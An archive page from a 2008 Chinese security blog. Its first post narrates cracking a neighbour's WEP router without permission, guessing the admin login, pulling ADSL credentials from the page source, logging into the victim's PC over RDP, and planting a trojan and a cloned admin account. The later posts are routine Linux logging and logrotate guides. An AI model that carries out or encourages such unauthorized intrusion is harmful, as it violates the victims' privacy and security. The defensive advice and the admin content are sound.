August 28, 2008

一次小区内的无线路由入侵渗透测试

by:vitter@safechina.net
web:http://www.securitycn.net

  前一段时间在我刚买无线路由的时候,拿笔记本在家做了次小区里面的无线路由渗透测试,籍此再次提醒大家,无线路由安全问题应该引起重视(参加以前文章:《无线不是舍己为人 网络安防同样重要》)。

  查找网络发现有3个信号相当不错的SSID其中2个WPA加密,一个WEP(SSID是TP-LINK)加密。

 图1 无线网络

图1 无线网络

  我们知道WEP加密可以很容易破解掉(参加之前文章《破解无线网络WEP/WPA密钥》、《backtrack3(BT3) usb版 破解WEP无线网络密码详细步骤》、《BT3 破解有客户端无线WEP密码成功 完美支持Intel 2200BG》、《Intel 3945ABG用OmniPeek 4.1抓包破解WEP》),那我们就从WEP的下手吧,具体破解密码的方式就不在此叙述了,参加上述文章。

图2 密码拿到

图2 密码拿到

  密码拿到了,那我们下一步就是连入他的无线网络。

图3 网络连入ok

图3 网络连入ok

  我分到的ip是:192.168.1.1xx

图4 我的ip

图4 我的ip

  下面我们扫描踩点下他的网络。

图5-1 网络踩点1

图5-1 网络踩点1

图5-2 网络踩点2

图5-2 网络踩点2

  由于他的SSID号使我们很容易就知道他应该用的无线路由器的型号:TP-LINK。通过扫描得到ip是192.168.1.1的无线路由开了80端口,我们尝试登录web管理。

图6 无线路由web管理

图6 无线路由web管理

  下一步用户名和密码,先用出厂默认的试试,不行,看来是改过密码的了。

图7 改过密码了

图7 改过密码了

  ok我们再猜猜看,之前扫描到一台主机,ip是192.168.1.1xx,主机名是guoxx,看来这家主人的名字应该叫guoxx,我们来试试看他的无线路由管理用户和密码会不会是这个。

图8 ok了

图8 ok了

  呵呵居然他用户名和密码都是这个,看来主人的安全意识很差啊。ok,我们下一步就是看看他的无线路由配置情况。发现了他是用无线路由器进行ADSL拨号的,运气不错。那从图上来看,有星号,我们试试密码不知道是否能找的到。

图9 adsl拨号配置

图9 adsl拨号配置

  先查看源文件看看,不行,根本就不让查看源文件。看来TP-LINK还是做了限制的,那我们换一个浏览器看看,拿出Opera,再来查源码,用框架、源代码的方式(Ctrl+Shift+U)。

图10 Opera查源码

图10 Opera查源码

  这次ok了,果真找到了明文的密码。

图11 明文密码

图11 明文密码

  看来TP-LINK无线路由还是不安全啊,这么明显的漏洞都有,我用的也是这个品牌的产品啊,还好我都不用他拨号的,太不安全了,这个要给厂商反映下,让他们最好补了漏洞。

  ok,我们找到了他的ADSL的帐号和密码,剩下的事情大家去想吧,有好多用处的哦。

  回过头来我们再进行主机渗透,从图5-2来看,是XP系统,开了3389,以及共享。看来主人用过远程桌面啊。

  我们再次用guoxx这个用户名和密码试试,不行。密码换成ADSL的密码,ok进去了,哈哈,今天运气真的很好啊,没费什么力气,本来还想着可能用到某些远程的漏洞,没想到这么简单就ok了,进去发现居然用搜狗输入法,呵呵,这个版本的还有登录漏洞可以利用,不过密码俺都有了,这个漏洞也没用上。剩下就是克隆个admin的帐号,种个小马,擦pp走人。

  综上,我们需要注意的是:
  一、无线尽量使用安全性稍高的WPA2,关闭DHCP,绑定MAC地址,SSID不进行广播。这样我们的无线网络就安全性高很多,如果别人进入不了我们的网络,这文章的下面都不成了了。
  二、密码不要用自己的中英文名字,更不能用跟自己的主机名一样的,更不能用户名和密码一样,密码要大小写字母、数字、特殊符号都有8位以上的密码。
  三、windows尽量关闭不需要的服务,尤其是远程桌面,打全补丁,第三方输入法尽量用安全版本的。

注:欢迎转载,请注明出处:中国安全网-安全您的网络

Posted by vitter at 2008-08-28 12:04:53 | 评论 (0) | 引用

August 27, 2008

sshd:root@notty解决方法

很多人遇到如下问题,linux系统(假设是hosta)运行正常,但是用ssh user@hosta的时候一直等待,在hosta上有sshd:root@notty这样的进程(登陆用户不同可能显示不是root),但是ssh user@hosta command却可以正常执行命令command。

问题出在sshd启动伪终端的时候,找不到/dev/ptmx这个设备文件或者/dev/pts这个文件系统没有mount。
解决方法是,首先检查是否有/dev/ptmx这个字符设备文件,如果没有用mknod /dev/ptmx c 5 2创建,然后用mount -t devpts devpts /dev/pts挂载/dev/pts文件系统。

Posted by vitter at 2008-08-27 10:22:04 | 评论 (0) | 引用

August 20, 2008

Defcon 2008的ISO

下载地址:Download the Defcon16 ISO here

还有BlackHat 2008的:Download

Posted by vitter at 2008-08-20 11:03:04 | 评论 (0) | 引用

August 14, 2008

透析Linux日志查入侵

日志对于网络安全来说无疑是非常重要的,它记录了系统每天发生的各种各样的事,你可以通过它来检查错误发生的原因,或者受到攻击后攻击者留下的痕迹。日志主要的功能有审计和监测,同时它也可以实时的监测系统状态,监测入侵者。

日志子系统分类
在Linux系统中,有三个主要的日志子系统:
连接时间日志——由多个程序执行,把纪录写入到/var/log/Wtmp和/var/run/Utmp,Login等程序更新Wtmp和Utmp文件,使系统管理员能够跟踪谁在何时登录到系统。
进程统计——由系统内核执行。当一个进程终止时,为每个进程往进程统计文件(Pacct或Acct)中写一个纪录。进程统计的目的是为系统中的基本服务提供命令使用统计。
错误日志——由Syslogd(8)执行。各种系统守护进程、用户程序和内核通过Syslog(3)向文件/var/log/messages报告值得注意的事件。另外有许多UNIX程序创建日志。像HTTP和FTP这样提供网络服务的服务器也保持详细的日志。
常用的日志文件如下:
Access-log:纪录HTTP/WEB的传输。
Acct/pacct:纪录用户命令。
Aculog:纪录MODEM的活动。
Btmp:纪录失败的纪录。
Lastlog:纪录最近几次成功登录的事件和最后一次不成功的登录。
Messages:从Syslog中记录信息(有的链接到Syslog文件)。
Sudolog:纪录使用Sudo发出的命令。
Sulog:纪录“su”的使用。
Utmp:纪录当前登录的每个用户。
Wtmp:一个用户每次登录进入和退出时间的永久纪录。
Xferlog:纪录FTP会话。

日志记录基本过程
Utmp、Wtmp和Lastlog日志文件是多数重用UNIX日志子系统的关键——保持用户登录进入和退出的纪录。有关当前登录用户的信息记录在文件Utmp中;登录进入和退出纪录在文件Wtmp中;最后一次登录文件可以用“Lastlog”命令察看。数据交换、关机和重起也记录在Wtmp文件中。所有的纪录都包含时间戳。这些文件(Lastlog通常不大)在具有大量用户的系统中增长十分迅速。例如Wtmp文件可以无限增长,除非定期截取。许多系统以一天或者一周为单位把Wtmp配置成循环使用。它通常由Cron运行的脚本来修改。这些脚本重新命名并循环使用Wtmp文件。

小知识:通常Wtmp在第一天结束后命名为Wtmp.1;第二天后Wtmp.1变为Wtmp.2,直到Wtmp.7。

每次有一个用户登录时,Login程序在文件Lastlog中察看用户的UID。如果找到了,则把用户上次登录、退出时间和主机名写到标准输出中,然后Login程序在Lastlog中纪录新的登录时间。在新的Lastlog纪录写入后,Utmp文件打开并插入用户的Utmp纪录。该纪录一直用到用户登录退出时删除。Utmp文件被各种命令文件使用,包括Who、Users和Finger。下一步,Login程序打开文件Wtmp附加用户的Utmp纪录。当用户登录退出时,具有更新时间戳的同一Utmp纪录附加到文件中。Wtmp文件被程序Last和AC使用。

查看具体日志
Wtmp和Utmp文件都是二进制文件,它们不能被诸如Tail命令剪贴或合并(需要使用Cat命令),用户需要使用Who、W、Users、Last和AC来使用这两个文件包含的信息。
1.Who:该命令查询Utmp文件并报告当前登录的每个用户。Who的缺省输出包括用户名、终端类型、登录日期及远程主机。例如输入Who回车后显示:
chyang pts/0 Aug 18 15:06
ynguo pts/2 Aug 18 15:32
ynguo pts/3 Aug 18 13:55
lewis pts/4 Aug 18 13:35
ynguo pts/7 Aug 18 14:12
ylou pts/8 Aug 18 14:15
如果指明了Wtmp文件名,则Who命令查询所有以前的纪录。命令“Who /var/log/Wtmp”将报告从Wtmp文件创建或删改以来的每一次登录。
2.W:该命令查询Utmp文件并显示当前系统中每个用户和它所运行的进程信息。
3.Users:Users用单独的一行显示出当前登录的用户,每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数。例如输入Users回车后显示:
chyang lewis lewis ylou ynguo ynguo
4.Last:Last命令往回搜索Wtmp,显示从文件第一次创建以来登录过的用户。例如:
chyang pts/9 202.38.68.242 Tue Aug 1 08:34 - 11:23 (02:49)
cfan pts/6 202.38.64.224 Tue Aug 1 08:33 - 08:48 (00:14)
chyang pts/4 202.38.68.242 Tue Aug 1 08:32 - 12:13 (03:40)
lewis pts/3 202.38.64.233 Tue Aug 1 08:06 - 11:09 (03:03)
lewis pts/2 202.38.64.233 Tue Aug 1 07:56 - 11:09 (03:12)
如果指明了用户,那么Last只报告该用户的近期活动,例如:last ynguo显示:
ynguo pts/4 simba.nic.ustc.e Fri Aug 4 16:50 - 08:20 (15:30)
ynguo pts/4 simba.nic.ustc.e Thu Aug 3 23:55 - 04:40 (04:44)
ynguo pts/11 simba.nic.ustc.e Thu Aug 3 20:45 - 22:02 (01:16)
ynguo pts/0 simba.nic.ustc.e Thu Aug 3 03:17 - 05:42 (02:25)
5.AC:AC命令根据当前的/var/log/Wtmp文件中的登录进入和退出来报告用户连结的时间(小时),如果不使用标志,则报告总的时间。例如:ac,显示:
total 5177.47
ac -d(回车)显示每天的总的连结时间:
Aug 12 total 261.87
Aug 13 total 351.39
Aug 14 total 396.09
Aug 15 total 462.63
Aug 16 total 270.45
ac -p(回车)显示每个用户的总的连接时间:
ynguo 193.23
yucao 3.35
rong 133.40
hdai 10.52
6.Lastlog:Lastlog文件在每次有用户登录时被查询。可以使用Lastlog命令来检查某特定用户上次登录的时间,并格式化输出上次登录日志/var/log/Lastlog的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。例如:
rong 5 202.38.64.187 Fri
Aug 18 15:57:01 +0800 2000
dbb
**Never logged in**
xinchen
**Never logged in**
pb9511
**Never logged in**

小知识:如果一个用户从未登录过,Lastlog显示"**Never logged**。注意这个命令需要以ROOT权限运行。

另外,可在命令后加一些参数实现其它的功能,例如“last -u 102”将报告UID为102的用户,“last -t 7”表示限制上一周的报告。

进程审查
UNIX可以跟踪每个用户运行的每条命令,如果想知道昨晚别人弄乱了哪些重要的文件,进程统计子系统可以告诉你,这一点无疑对跟踪入侵者很有帮助。与连接时间日志不同,进程统计子系统缺省不激活,它必须启动。在Linux系统中启动进程统计使用Accton命令,必须用ROOT身份来运行。先使用Touch命令来创建Pacct文件:
touch /var/log/pact
然后运行Accton:
Accton /var/log/pact
一旦Accton被激活,就可以使用Lastcomm命令监测系统中任何时候执行的命令。若要关闭统计,可以使用不带任何参数的Accton命令。

小知识:Lastcomm命令报告以前执行的文件。不带参数时,Lastcomm命令显示当前统计文件生命周期内纪录的所有命令的有关信息。包括命令名、用户、TTY、命令耗费的CPU时间和一个时间戳。如果系统有许多用户,输入则可能很长。

进程统计存在的一个问题是Pacct文件可能增长的十分迅速。这时需要交互式或经过Cron机制运行SA命令来保持日志数据在系统控制内。

小知识:SA命令报告、清理并维护进程统计文件。它能把/var/log/pacct中的信息压缩到摘要文件/var/log/savacct和/var/log/usracct中。这些摘要包含按命令名和用户名分类的系统统计数据。SA缺省情况下先读它们,然后读Pacct文件,使报告能包含所有的可用信息。SA的输出有下面一些标记项:

Avio——每次执行的平均I/O操作次数
Cp——用户和系统时间总和,以分钟计
Cpu——和cp一样
K——内核使用的平均CPU时间,以1k为单位
K*sec——CPU存储完整性,以1k-core秒

Syslog设备
Syslog已被许多日志函数采纳,它用在许多保护措施中。Syslog可以纪录系统事件并写到一个文件或设备中,或给用户发送一个信息。它能纪录本地事件或通过网络纪录另一个主
机上的事件。
Syslog设备依据两个重要的文件:/etc/Syslogd(守护进程)和/etc/Syslog.conf配置文件,习惯上,多数Syslog信息被写到/var/adm或/var/log目录下的信息文件(messages.*)中。一个典型的Syslog纪录包括生成程序的名字和一个文本信息。它还包括一个设备和一个优先级范围,每个Syslog消息被赋予下面的主要设备之一:
LOG_AUTH——认证系统:Login、SU、Getty等。
LOG_CRON——Cron守护进程。
LOG_DAEMON——其它系统守护进程,如Routed。
LOG_FTP——文件传输协议:Ftpd、Tftpd。
LOG_KERN——内核产生的消息。
LOG_MAIL——电子邮件系统。
LOG_SYSLOG——由Syslogd(8)产生的内部消息。
LOG_LOCAL0~LOG_LOCAL7——本地使用保留。
Syslog为每个事件赋予几个不同的优先级:
LOG_EMERG——紧急情况。
LOG_ALERT——应该被立即改正的问题,如系统数据库破坏。
LOG_CRIT——重要情况,如硬盘错误。
LOG_ERR——错误。
LOG_WARNING——警告信息。
LOG_NOTICE——不是错误情况,但是可能需要处理。
LOG_INFO——情报信息。
Syslog.conf文件指明Syslogd程序纪录日志的行为,该程序在启动时查询配置文件。该文件由不同程序或消息分类的单个条目组成,每个占一行。对每类消息提供一个选择域和一个动作域。这些域由Tab隔开:选择域指明消息的类型和优先级;动作域指明Syslogd接收到一个与选择标准相匹配的消息时所执行的动作。每个选项是由设备和优先级组成。当指明一个优先级时,Syslogd将纪录一个拥有相同或更高优先级的消息。所以如果指明“crit”,那所有标为Crit、Alert和Emerg的消息将被纪录。每行的行动域指明当选择域选择了一个给定消息后应该把他发送到哪儿。例如,如果想把所有邮件消息纪录到一个文件中,如下:
#Log all the mail messages in one place mail.* /var/log/maillog
其它设备也有自己的日志,UUCP和News设备能产生许多外部消息。它把这些消息存到自己的日志(/var/log/spooler)中并把级别限为“err”或更高。例如:
# Save mail and news errors of level err and higher in aspecial file.uucp,news.crit /var/log/spooler
当一个紧急消息到来时,可能想让所有的用户都得到。也可能想让自己的日志接收并保存:
#Everybody gets emergency messages, plus log them on anther machine *.emerg * *.emerg @linuxaid.com.cn
Alert消息应该写到ROOT和Tiger的个人账号中:
#ROOT and Tiger get alert and higher messages *.alert ROOT,tiger

小提示:有时Syslogd将产生大量的消息,例如内核(Kern设备)可能很冗长,用户可能想把内核消息纪录到/dev/console中。下面的例子表明内核日志纪录被注释掉了:
#Log all kernel messages to the console
#Logging much else clutters up the screen
#kern.* /dev/console

用户可以在一行中指明所有的设备。下面的例子把Info或更高级别的消息送到/var/log/messages,除了Mail以外。级别“none”禁止一个设备:
#Log anything(except mail)of level info or higher
#Don't log private authentication messages!
*.info:mail.none;authpriv.none /var/log/messages
在有些情况下可以把日志送到打印机,这样网络入侵者怎么修改日志都没有用了。

小提示:有个小命令Logger为Syslog(3)系统日志文件提供一个Shell命令接口,使用户能创建日志文件中的条目。例如:logger This is a test。它将产生一个如下的Syslog纪录:
Aug 19 22:22:34 tiger: This is a test!
所以不要完全相信日志,因为攻击者很容易修改它的。

通过上面对Linux的日志了解,我们就可以更好的实时监测系统状态,监测和追踪侵入者的行踪了!

Posted by vitter at 2008-08-14 15:31:50 | 评论 (0) | 引用

使用logrotate 管理日志文件

对于Linux 的系统安全来说,日志文件是极其重要的工具。系统管理员可以使用logrotate 程序用来管理系统中的最新的事件。

对于Linux 的系统安全来说,日志文件是极其重要的工具。
系统管理员可以使用logrotate 程序用来管理系统中的最新的事件。logrotate 还可以用来备份日志文件,本篇将通过以下几部分来介绍

日志文件的管理:
1、logrotate 配置
2、缺省配置 logrotate
3、使用include 选项读取其他配置文件
4、使用include 选项覆盖缺省配置
5、为指定的文件配置转储参数

一、logrotate 配置

logrotate 程序是一个日志文件管理工具。用来把旧的日志文件删除,并创建新的日志文件,我们把它叫做“转储”。我们可以根据日志文件的大小,也可以根据其天数来转储,这个过程一般通过 cron 程序来执行。
logrotate 程序还可以用于压缩日志文件,以及发送日志到指定的E-mail 。

logrotate 的配置文件是 /etc/logrotate.conf。主要参数如下表:

参数 功能
compress 通过gzip 压缩转储以后的日志
nocompress 不需要压缩时,用这个参数
copytruncate 用于还在打开中的日志文件,把当前日志备份并截断
nocopytruncate 备份日志文件但是不截断
create mode owner group 转储文件,使用指定的文件模式创建新的日志文件
nocreate 不建立新的日志文件
delaycompress 和 compress 一起使用时,转储的日志文件到下一次转储时才压缩
nodelaycompress 覆盖 delaycompress 选项,转储同时压缩。
errors address 专储时的错误信息发送到指定的Email 地址
ifempty 即使是空文件也转储,这个是 logrotate 的缺省选项。
notifempty 如果是空文件的话,不转储
mail address 把转储的日志文件发送到指定的E-mail 地址
nomail 转储时不发送日志文件
olddir directory 转储后的日志文件放入指定的目录,必须和当前日志文件在同一个文件系统
noolddir 转储后的日志文件和当前日志文件放在同一个目录下
prerotate/endscript 在转储以前需要执行的命令可以放入这个对,这两个关键字必须单独成行
postrotate/endscript 在转储以后需要执行的命令可以放入这个对,这两个关键字必须单独成行
daily 指定转储周期为每天
weekly 指定转储周期为每周
monthly 指定转储周期为每月
rotate count 指定日志文件删除之前转储的次数,0 指没有备份,5 指保留5 个备份
tabootext [+] list 让logrotate 不转储指定扩展名的文件,缺省的扩展名是:.rpm-orig, .rpmsave, v, 和 ~
size size 当日志文件到达指定的大小时才转储,Size 可以指定 bytes (缺省)以及KB (sizek)或者MB (sizem).

二、缺省配置 logrotate

logrotate 缺省的配置募??/etc/logrotate.conf。
Red Hat Linux 缺省安装的文件内容是:

# see "man logrotate" for details
# rotate log files weekly
weekly

# keep 4 weeks worth of backlogs
rotate 4

# send errors to root
errors root
# create new (empty) log files after rotating old ones
create

# uncomment this if you want your log files compressed
#compress
1
# RPM packages drop log rotation information into this directory
include /etc/logrotate.d

# no packages own lastlog or wtmp --we'll rotate them here
/var/log/wtmp {
monthly
create 0664 root utmp
rotate 1
}

/var/log/lastlog {
monthly
rotate 1
}

# system-specific logs may be configured here

缺省的配置一般放在logrotate.conf 文件的最开始处,影响整个系统。在本例中就是前面12行。

第三行weekly 指定所有的日志文件每周转储一次。
第五行 rotate 4 指定转储文件的保留 4份。
第七行 errors root 指定错误信息发送给root。
第九行create 指定 logrotate 自动建立新的日志文件,新的日志文件具有和
原来的文件一样的权限。
第11行 #compress 指定不压缩转储文件,如果需要压缩,去掉注释就可以了。

三、使用include 选项读取其他配置文件
include 选项允许系统管理员把分散到几个文件的转储信息,集中到一个
主要的配置文件。当 logrotate 从logrotate.conf 读到include 选项时,会从指定文件读入配置信息,就好像他们已经在/etc/logrotate.conf 中一样。

第13行 include /etc/logrotate.d 告诉 logrotate 读入存放在/etc/logrotate.d 目录中的日志转储参数,当系统中安装了RPM 软件包时,使用include 选项十分有用。RPM 软件包的日志转储参数一般存放在/etc/logrotate.d 目录。

include 选项十分重要,一些应用把日志转储参数存放在 /etc/logrotate.d 。

典型的应用有:apache, linuxconf, samba, cron 以及syslog。

这样,系统管理员只要管理一个 /etc/logrotate.conf 文件就可以了。

四、使用include 选项覆盖缺省配置

当 /etc/logrotate.conf 读入文件时,include 指定的文件中的转储参数将覆盖缺省的参数,如下例:

# linuxconf 的参数
/var/log/htmlaccess.log
{ errors jim
notifempty
nocompress
weekly
prerotate
/usr/bin/chattr -a /var/log/htmlaccess.log
endscript
postrotate
/usr/bin/chattr +a /var/log/htmlaccess.log
endscript
}
/var/log/netconf.log
{ nocompress
monthly
}

在这个例子中,当 /etc/logrotate.d/linuxconf 文件被读入时,下面的参数将覆盖/etc/logrotate.conf中缺省的参数。

Notifempty
errors jim

五、为指定的文件配置转储参数
经常需要为指定文件配置参数,一个常见的例子就是每月转储/var/log/wtmp。为特定文件而使用的参数格式是:

# 注释
/full/path/to/file
{
option(s)
}

下面的例子就是每月转储 /var/log/wtmp 一次:
#Use logrotate to rotate wtmp
/var/log/wtmp
{
monthly
rotate 1
}

六、其他需要注意的问题

1、尽管花括号的开头可以和其他文本放在同一行上,但是结尾的花括号必须单独成行。

2、使用 prerotate 和 postrotate 选项
下面的例子是典型的脚本 /etc/logrotate.d/syslog,这个脚本只是对
/var/log/messages 有效。

/var/log/messages
{
prerotate
/usr/bin/chattr -a /var/log/messages
endscript
postrotate
/usr/bin/kill -HUP syslogd
/usr/bin/chattr +a /var/log/messages
endscript
}

第一行指定脚本对 /var/log messages 有效
花ê哦阅诓康慕疟驹诵杏? /var/log/messages
prerotate 命令指定转储以前的动作/usr/bin/chattr -a 去掉/var/log/messages文件的“只追加”属性 endscript 结束 prerotate 部分的脚本postrotate 指定转储后的动作

/usr/bin/killall -HUP syslogd

用来重新初始化系统日志守护程序 syslogd

/usr/bin/chattr +a /var/log/messages

重新为 /var/log/messages 文件指定“只追加”属性,这样防治程序员或用户覆盖此文件。

最后的 endscript 用于结束 postrotate 部分的脚本

3、logrotate 的运行分为三步:

判断系统的日志文件,建立转储计划以及参数,通过cron daemon 运行下面的代码是 Red Hat Linux 缺省的crontab 来每天运行logrotate。

#/etc/cron.daily/logrotate
#! /bin/sh

/usr/sbin/logrotate /etc/logrotate.conf

4、/var/log/messages 不能产生的原因:
这种情况很少见,但是如果你把/etc/services 中的 514/UDP 端口关掉的话,这个文件就不能产生了。

小结:本文通过对Red Hat 系统上典型的logrotate 配置例子的介绍,详细说明了logrotate 程序的应用方法。希望对所有Linux 系统管理员有所帮助。管理好,分析好日志文件是系统安全的第一步,在以后的文章里FreeLAMP还会介绍另外一个检查日志的好东东 logcheck。

PS:最近有朋友问一些日志相关的,如何通过日志查入侵迹象的问题,就贴几篇log相关的文档。

Posted by vitter at 2008-08-14 12:03:50 | 评论 (0) | 引用

理解Linux系统的日志

1. 日志简介

  日志对于安全来说,非常重要,他记录了系统每天发生的各种各样的事情,你可以通过他来检查错误发生的原因,或者受到攻击时攻击者留下的痕迹。日志主要的功能有:审计和监测。他还可以实时的监测系统状态,监测和追踪侵入者等等。

  在Linux系统中,有三个主要的日志子系统:

  连接时间日志--由多个程序执行,把纪录写入到/var/log/wtmp和/var/run/utmp,login等程序更新wtmp和utmp文件,使系统管理员能够跟踪谁在何时登录到系统。

  进程统计--由系统内核执行。当一个进程终止时,为每个进程往进程统计文件(pacct或acct)中写一个纪录。进程统计的目的是为系统中的基本服务提供命令使用统计。

  错误日志--由syslogd(8)执行。各种系统守护进程、用户程序和内核通过syslog(3)向文件/var/log/messages报告值得注意的事件。另外有许多UNIX程序创建日志。像HTTP和FTP这样提供网络服务的服务器也保持详细的日志。

  常用的日志文件如下:

  access-log 纪录HTTP/web的传输

  acct/pacct 纪录用户命令

  aculog 纪录MODEM的活动

  btmp 纪录失败的纪录

  lastlog 纪录最近几次成功登录的事件和最后一次不成功的登录

  messages 从syslog中记录信息(有的链接到syslog文件)

  sudolog 纪录使用sudo发出的命令

  sulog 纪录使用su命令的使用

  syslog 从syslog中记录信息(通常链接到messages文件)

  utmp 纪录当前登录的每个用户

  wtmp 一个用户每次登录进入和退出时间的永久纪录

  xferlog 纪录FTP会话

  utmp、wtmp和lastlog日志文件是多数重用UNIX日志子系统的关键--保持用户登录进入和退出的纪录。有关当前登录用户的信息记录在文件utmp中;登录进入和退出纪录在文件wtmp中;最后一次登录文件可以用lastlog命令察看。数据交换、关机和重起也记录在wtmp文件中。所有的纪录都包含时间戳。这些文件(lastlog通常不大)在具有大量用户的系统中增长十分迅速。例如wtmp文件可以无限增长,除非定期截取。许多系统以一天或者一周为单位把wtmp配置成循环使用。它通常由cron运行的脚本来修改。这些脚本重新命名并循环使用wtmp文件。通常,wtmp在第一天结束后命名为wtmp.1;第二天后wtmp.1变为wtmp.2等等,直到wtmp.7。

  每次有一个用户登录时,login程序在文件lastlog中察看用户的UID。如果找到了,则把用户上次登录、退出时间和主机名写到标准输出中,然后login程序在lastlog中纪录新的登录时间。在新的lastlog纪录写入后,utmp文件打开并插入用户的utmp纪录。该纪录一直用到用户登录退出时删除。utmp文件被各种命令文件使用,包括who、w、users和finger。

  下一步,login程序打开文件wtmp附加用户的utmp纪录。当用户登录退出时,具有更新时间戳的同一utmp纪录附加到文件中。wtmp文件被程序last和ac使用。

  2. 具体命令

  wtmp和utmp文件都是二进制文件,他们不能被诸如tail命令剪贴或合并(使用cat命令)。用户需要使用who、w、users、last和ac来使用这两个文件包含的信息。

  who:who命令查询utmp文件并报告当前登录的每个用户。Who的缺省输出包括用户名、终端类型、登录日期及远程主机。例如:who(回车)显示

chyang pts/0 Aug 18 15:06
ynguo pts/2 Aug 18 15:32
ynguo pts/3 Aug 18 13:55
lewis pts/4 Aug 18 13:35
ynguo pts/7 Aug 18 14:12
ylou pts/8 Aug 18 14:15

  如果指明了wtmp文件名,则who命令查询所有以前的纪录。命令who /var/log/wtmp将报告自从wtmp文件创建或删改以来的每一次登录。

  w:w命令查询utmp文件并显示当前系统中每个用户和它所运行的进程信息。例如:w(回车)显示:3:36pm up 1 day, 22:34, 6 users, load average: 0.23, 0.29, 0.27

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
chyang pts/0 202.38.68.242 3:06pm 2:04 0.08s 0.04s -bash
ynguo pts/2 202.38.79.47 3:32pm 0.00s 0.14s 0.05s w
lewis pts/3 202.38.64.233 1:55pm 30:39 0.27s 0.22s -bash
lewis pts/4 202.38.64.233 1:35pm 6.00s 4.03s 0.01s sh /home/users/
ynguo pts/7 simba.nic.ustc.e 2:12pm 0.00s 0.47s 0.24s telnet mail
ylou pts/8 202.38.64.235 2:15pm 1:09m 0.10s 0.04s -bash

  users:users用单独的一行打印出当前登录的用户,每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数。例如:users(回车)显示:chyang lewis lewis ylou ynguo ynguo

  last:last命令往回搜索wtmp来显示自从文件第一次创建以来登录过的用户。例如:

chyang pts/9 202.38.68.242 Tue Aug 1 08:34 - 11:23 (02:49)
cfan pts/6 202.38.64.224 Tue Aug 1 08:33 - 08:48 (00:14)
chyang pts/4 202.38.68.242 Tue Aug 1 08:32 - 12:13 (03:40)
lewis pts/3 202.38.64.233 Tue Aug 1 08:06 - 11:09 (03:03)
lewis pts/2 202.38.64.233 Tue Aug 1 07:56 - 11:09 (03:12)

  如果指明了用户,那么last只报告该用户的近期活动,例如:last ynguo(回车)显示:

ynguo pts/4 simba.nic.ustc.e Fri Aug 4 16:50 - 08:20 (15:30)
ynguo pts/4 simba.nic.ustc.e Thu Aug 3 23:55 - 04:40 (04:44)
ynguo pts/11 simba.nic.ustc.e Thu Aug 3 20:45 - 22:02 (01:16)
ynguo pts/0 simba.nic.ustc.e Thu Aug 3 03:17 - 05:42 (02:25)
ynguo pts/0 simba.nic.ustc.e Wed Aug 2 01:04 - 03:16 1+02:12)
ynguo pts/0 simba.nic.ustc.e Wed Aug 2 00:43 - 00:54 (00:11)
ynguo pts/9 simba.nic.ustc.e Thu Aug 1 20:30 - 21:26 (00:55)

  ac:ac命令根据当前的/var/log/wtmp文件中的登录进入和退出来报告用户连结的时间(小时),如果不使用标志,则报告总的时间。例如:ac(回车)显示:total 5177.47

  ac -d(回车)显示每天的总的连结时间

Aug 12 total 261.87
Aug 13 total 351.39
Aug 14 total 396.09
Aug 15 total 462.63
Aug 16 total 270.45
Aug 17 total 104.29
Today total 179.02

  ac -p (回车)显示每个用户的总的连接时间

ynguo 193.23
yucao 3.35
rong 133.40
hdai 10.52
zjzhu 52.87
zqzhou 13.14
liangliu 24.34
total 5178.24

  lastlog:lastlog文件在每次有用户登录时被查询。可以使用lastlog命令来检查某特定用户上次登录的时间,并格式化输出上次登录日志/var/log/lastlog的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示"**Never logged**。注意需要以root运行该命令,例如:

rong 5 202.38.64.187 Fri Aug 18 15:57:01 +0800 2000
dbb **Never logged in**
xinchen **Never logged in**
pb9511 **Never logged in**
xchen 0 202.38.64.190 Sun Aug 13 10:01:22 +0800 2000

  另外,可一加一些参数,例如,last -u 102将报告UID为102的用户;last -t 7表示限制上一周的报告。

  3. 进程统计

  UNIX可以跟踪每个用户运行的每条命令,如果想知道昨晚弄乱了哪些重要的文件,进程统计子系统可以告诉你。它对还跟踪一个侵入者有帮助。与连接时间日志不同,进程统计子系统缺省不激活,它必须启动。在Linux系统中启动进程统计使用accton命令,必须用root身份来运行。Accton命令的形式accton file,file必须先存在。先使用touch命令来创建pacct文件:touch /var/log/pacct,然后运行accton: accton /var/log/pacct。一旦accton被激活,就可以使用lastcomm命令监测系统中任何时候执行的命令。若要关闭统计,可以使用不带任何参数的accton命令。

  lastcomm命令报告以前执行的文件。不带参数时,lastcomm命令显示当前统计文件生命周期内纪录的所有命令的有关信息。包括命令名、用户、tty、命令花费的CPU时间和一个时间戳。如果系统有许多用户,输入则可能很长。下面的例子:

crond F root ?? 0.00 secs Sun Aug 20 00:16
promisc_check.s S root ?? 0.04 secs Sun Aug 20 00:16
promisc_check root ?? 0.01 secs Sun Aug 20 00:16
grep root ?? 0.02 secs Sun Aug 20 00:16
tail root ?? 0.01 secs Sun Aug 20 00:16
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.01 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.02 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.02 secs Sun Aug 20 00:15
sh root ?? 0.02 secs Sun Aug 20 00:15
ping S root ?? 0.00 secs Sun Aug 20 00:15
ping6.pl F root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.01 secs Sun Aug 20 00:15
ping S root ?? 0.01 secs Sun Aug 20 00:15
sh root ?? 0.02 secs Sun Aug 20 00:15
ping S root ?? 1.34 secs Sun Aug 20 00:15
locate root ttyp0 1.34 secs Sun Aug 20 00:15
accton S root ttyp0 0.00 secs Sun Aug 20 00:15

  进程统计的一个问题是pacct文件可能增长的十分迅速。这时需要交互式的或经过cron机制运行sa命令来保持日志数据在系统控制内。sa命令报告、清理并维护进程统计文件。它能把/var/log/pacct中的信息压缩到摘要文件/var/log/savacct和/var/log/usracct中。这些摘要包含按命令名和用户名分类的系统统计数据。sa缺省情况下先读它们,然后读pacct文件,使报告能包含所有的可用信息。sa的输出有下面一些标记项:

  avio--每次执行的平均I/O操作次数

  cp--用户和系统时间总和,以分钟计

  cpu--和cp一样

  k--内核使用的平均CPU时间,以1k为单位

  k*sec--CPU存储完整性,以1k-core秒

  re--实时时间,以分钟计

  s--系统时间,以分钟计

